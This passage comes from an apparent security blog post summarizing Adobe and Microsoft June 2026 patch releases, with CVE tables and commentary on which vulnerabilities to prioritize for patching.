    <td><a href="https://helpx.adobe.com/security/products/campaign/apsb26-66.html" target="_blank">APSB26-66</a></td>
    <td>Adobe Campaign Classic</td>
    <td>2</td>
    <td>Critical</td>
    <td>10.0</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/coldfusion/apsb26-64.html" target="_blank">APSB26-64</a></td>
    <td>Adobe ColdFusion</td>
    <td>7</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/acrobat/apsb26-63.html" target="_blank">APSB26-63</a></td>
    <td>Adobe Acrobat Reader</td>
    <td>20</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/aem-forms/apsb26-57.html" target="_blank">APSB26-57</a></td>
    <td>Adobe Experience Manager Forms</td>
    <td>3</td>
    <td>Critical</td>
    <td>9.3</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/dreamweaver/apsb26-62.html" target="_blank">APSB26-62</a></td>
    <td>Adobe Dreamweaver</td>
    <td>5</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/formatplugins/apsb26-65.html" target="_blank">APSB26-65</a></td>
    <td>Adobe Format Plugins</td>
    <td>2</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/incopy/apsb26-59.html" target="_blank">APSB26-59</a></td>
    <td>Adobe InCopy</td>
    <td>3</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/indesign/apsb26-58.html" target="_blank">APSB26-58</a></td>
    <td>Adobe InDesign</td>
    <td>12</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/substance3d-sampler/apsb26-60.html" target="_blank">APSB26-60</a></td>
    <td>Adobe Substance 3D Sampler</td>
    <td>4</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-61.html" target="_blank">APSB26-61</a></td>
    <td>Content Credentials SDK</td>
    <td>8</td>
    <td>Critical</td>
    <td>7.5</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/experience-manager/apsb26-56.html" target="_blank">APSB26-56</a></td>
    <td>Adobe Experience Manager</td>
    <td>57</td>
    <td>Important</td>
    <td>5.4</td>
    <td>No</td>
    <td>3</td>
  </tr>
</tbody>
<tfoot>
  <tr>
    <td>TOTAL</td>
    <td>11 bulletins</td>
    <td>123</td>
    <td></td>
    <td></td>
    <td></td>
    <td></td>
  </tr>
</tfoot>
</table>



  
  









  <p class="">Obviously, the update for Campaign Classic should be on the top of your deployment list if you’re a user. A CVSS 10 is rare; two in the same bulletin is pretty much a unicorn. Adobe says there are no active attacks, but I would expect heavy research into creating one. The update for Coldfusion is also a Priority 1, but again, no known attacks is the wild. I suspect the Reader patch will also receive a lot of attention as malicious PDFs are common in ransomware attacks. The update for Experience Manager may be large, but it’s mostly just cross-site scripting (XSS) bugs.</p><p class=""><strong>Microsoft Patches for June 2026</strong></p><p class="">This month, Microsoft released a new record 208 CVEs Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Secure Boot, and BitLocker. At least, that’s my count. Microsoft’s tools seem to be having some issues, as they initially included a CVE from 2020 in this release. Regardless, the count is over 200, and I counted several times.</p><p class="">One of these bugs came through the ZDI program, but bugs submitted during Pwn2Own Berlin remain unpatched. If you include the Chromium and other third-party bugs, the total CVE count for June comes to a staggering 571 CVEs. 38 of these cases are rated Critical while the rest are rated Important in severity.</p><p class="">I’ve been counting CVEs on Patch Tuesday since 2017, and this is by far the largest monthly release in that time. The previous record was 177 set last year. It is extraordinary that Microsoft can produce so many patches in a single month, but it does raise concerns. How many of these cases were found using AI tools? How many patches were generated using AI to assist in coding or testing? What quality issues may exist in these patches? And likely most importantly, is this the new normal? The last two months were also large releases. Should sysadmins adjust their processes for prioritization and patch deployment based on this new volume of updates? Unfortunately, Microsoft is not providing those answers right now. Hopefully that changes in the future. BTW – just a note – the current number of CVEs shipped by Microsoft this year exceeds the total number of CVEs shipped in all of 2018.</p><p class="">One of the bugs patched by Microsoft this month is listed as under active exploitation and three others are listed as publicly known at the time of release. Let’s take a closer look at some of the more interesting updates for this month, starting with the bug being exploited in the wild.</p><p class="">-   <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41091"><strong>CVE-2026-41091</strong></a><strong> - Microsoft Defender Elevation of Privilege Vulnerability<br></strong>Since Microsoft doesn’t provide info on how widespread exploitation is, we must read some tea leaves. For this patch, several different people were acknowledged, which indicates multiple parties say this is in the wild, meaning exploitation is likely significant. The good news is that most people won’t need to take action as Defender updates itself. However, if you don’t have this configured or are in an isolated environment, you’ll need to update to the latest version.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45657"><strong>CVE-2026-45657</strong></a><strong> - Windows Kernel Remote Code Execution Vulnerability<br></strong>This CVSS 9.8 bug allows remote, unauthenticated attackers to execute code at SYSTEM level without user interaction. Yup – this is wormable. The problem lies in the way the kernel handles TCP/IP. This was listed as “Exploitation Less Likely” by Microsoft, but rest assured that every researcher and bug shop on the planet is reversing this patch right now trying to create an exploit. Test and deploy this patch quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47291"><strong>CVE-2026-47291</strong></a><strong> - HTTP.sys Remote Code Execution Vulnerability<br></strong>Our second CVSS 9.8 bug of the month, this also allows remote, unauthenticated attackers to execute code on affected systems without user interaction. However, there is a caveat. Systems using the default MaxRequestBytes registry value used by the Windows HTTP stack are not affected by this bug. You can edit your registry settings if you need protection while you test and deploy the patch. The bulletin includes instructions and even a PowerShell script for doing this action. Microsoft lists this as “Exploitation more likely”, so I would definitely check your registry settings.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44815"><strong>CVE-2026-44815</strong></a><strong> - DHCP Client Service Remote Code Execution Vulnerability<br></strong>Here’s another CVSS 9.8 that has an odd incongruity. Although the CVSS says no permissions are required for exploitation, the write-up states it must be an “authenticated” user. I would err on the side of caution here and believe the CVSS. If that’s correct, then we have another bug where a remote, unauthenticated attacker could execute code on affected systems without user interaction. And since the DHCP client is on every OS, it’s a juicy target. This is another one to test and deploy with haste.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45585"><strong>CVE-2026-45585</strong></a><strong>/</strong><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50507"><strong>CVE-2026-50507</strong></a><strong> - Windows BitLocker Security Feature Bypass Vulnerability<br></strong>If you’ve followed the ongoing saga of Nightmare Eclipse vs. MSRC, the bugs should look familiar. One is definitely a fix for “YellowKey”, while the other appears to be a fix for “GreenPlasma”. The researcher has promised a “<a href="https://www.theregister.com/security/2026/05/28/microsoft-0-day-feud-escalates-as-researcher-threatens-another-windows-exploit-dump/5248085">bone shattering</a>” drop on June 14, so let’s hope Microsoft is able to reach some understanding with the researcher before more 0-days are released. Also, there is a script provided by Microsoft as a mitigation, but the better strategy is to test and deploy the updates.</p><p class=""> Here’s the full list of CVEs released by Microsoft for June 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="new2026-Jun-cvrf2.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="1024">
 <col width="144">
 <col width="256">
 <col width="104" span="6">
 <tr height="47">
  <td width="144" class="xl65" height="47">CVE</td>
  <td width="256" class="xl65">Title</td>
  <td width="104" class="xl66">Severity</td>
  <td width="104" class="xl66">CVSS</td>
  <td width="104" class="xl66">Public</td>
  <td width="104" class="xl66">Exploited</td>
  <td width="104" class="xl66">XI</td>
  <td width="104" class="xl66">Type</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41091"><span>CVE-2026-41091</span></a></td>
  <td width="256" class="xl68">Microsoft Defender
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl71">Yes</td>
  <td class="xl71">Yes</td>
  <td class="xl70">0</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49160"><span>CVE-2026-49160</span></a></td>
  <td width="256" class="xl68">HTTP.sys Denial of
  Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl71">Yes</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50507"><span>CVE-2026-50507</span></a></td>
  <td width="256" class="xl68">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.8</td>
  <td class="xl71">Yes</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45586"><span>CVE-2026-45586</span></a></td>
  <td width="256" class="xl68">Windows Collaborative
  Translation Framework (CTFMON) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl71">Yes</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="91">
  <td class="xl67" height="91"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-10263"><span>CVE-2025-10263 *</span></a></td>
  <td width="256" class="xl68">ARM: CVE-2025-10263
  Completion of affected memory accesses might not be guaranteed by completion
  of a TLBI [kernel]</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48567"><span>CVE-2026-48567</span></a></td>
  <td width="256" class="xl68">Azure HorizonDB<span>  </span>Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">10</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32193"><span>CVE-2026-32193</span></a></td>
  <td width="256" class="xl68">Azure Kubernetes
  Service (AKS) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47644"><span>CVE-2026-47644</span></a></td>
  <td width="256" class="xl68">Copilot Chat
  (Microsoft Edge) Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44815"><span>CVE-2026-44815</span></a></td>
  <td width="256" class="xl68">DHCP Client Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47291"><span>CVE-2026-47291</span></a></td>
  <td width="256" class="xl68">HTTP.sys Remote Code
  Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42824"><span>CVE-2026-42824</span></a></td>
  <td width="256" class="xl68">M365 Copilot
  Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45476"><span>CVE-2026-45476</span></a></td>
  <td width="256" class="xl68">Microsoft Azure
  Network Adapter Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44810"><span>CVE-2026-44810</span></a></td>
  <td width="256" class="xl68">Microsoft
  Cryptographic Services Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48579"><span>CVE-2026-48579</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Online Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47655"><span>CVE-2026-47655</span></a></td>
  <td width="256" class="xl68">Microsoft Graph
  Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45497"><span>CVE-2026-45497</span></a></td>
  <td width="256" class="xl68">Microsoft M365 Copilot
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45460"><span>CVE-2026-45460</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">4.7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45472"><span>CVE-2026-45472</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45474"><span>CVE-2026-45474</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45461"><span>CVE-2026-45461</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45463"><span>CVE-2026-45463</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45456"><span>CVE-2026-45456</span></a></td>
  <td width="256" class="xl68">Microsoft Outlook and
  Word Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45458"><span>CVE-2026-45458</span></a></td>
  <td width="256" class="xl68">Microsoft Outlook and
  Word Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47635"><span>CVE-2026-47635</span></a></td>
  <td width="256" class="xl68">Microsoft Outlook and
  Word Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26142"><span>CVE-2026-26142</span></a></td>
  <td width="256" class="xl68">Nuance PowerScribe
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47289"><span>CVE-2026-47289</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47654"><span>CVE-2026-47654</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48563"><span>CVE-2026-48563</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42992"><span>CVE-2026-42992</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44799"><span>CVE-2026-44799</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44801"><span>CVE-2026-44801</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42985"><span>CVE-2026-42985</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45648"><span>CVE-2026-45648</span></a></td>
  <td width="256" class="xl68">Windows Active
  Directory Domain Services Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42987"><span>CVE-2026-42987</span></a></td>
  <td width="256" class="xl68">Windows Deployment
  Services (WDS) Remote Code Execution</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33828"><span>CVE-2026-33828</span></a></td>
  <td width="256" class="xl68">Windows Device Health
  Attestation (DHA) Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44803"><span>CVE-2026-44803</span></a></td>
  <td width="256" class="xl68">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44812"><span>CVE-2026-44812</span></a></td>
  <td width="256" class="xl68">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45607"><span>CVE-2026-45607</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45641"><span>CVE-2026-45641</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47652"><span>CVE-2026-47652</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47288"><span>CVE-2026-47288</span></a></td>
  <td width="256" class="xl68">Windows Kerberos Key
  Distribution Center (KDC) Remote Code Execution</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45657"><span>CVE-2026-45657</span></a></td>
  <td width="256" class="xl68">Windows Kernel Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48574"><span>CVE-2026-48574</span></a></td>
  <td width="256" class="xl68">Windows Media Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45490"><span>CVE-2026-45490</span></a></td>
  <td width="256" class="xl68">.NET SDK Elevation of
  Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45491"><span>CVE-2026-45491</span></a></td>
  <td width="256" class="xl68">.NET Tampering
  Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45591"><span>CVE-2026-45591</span></a></td>
  <td width="256" class="xl68">ASP.NET Core Denial of
  Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47643"><span>CVE-2026-47643</span></a></td>
  <td width="256" class="xl68">Azure Stack Edge
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41098"><span>CVE-2026-41098</span></a></td>
  <td width="256" class="xl68">Azure Stack Edge
  Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45642"><span>CVE-2026-45642</span></a></td>
  <td width="256" class="xl68">Microsoft Azure
  Attestation service and Device Health Attestation Service Spoofing
  Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
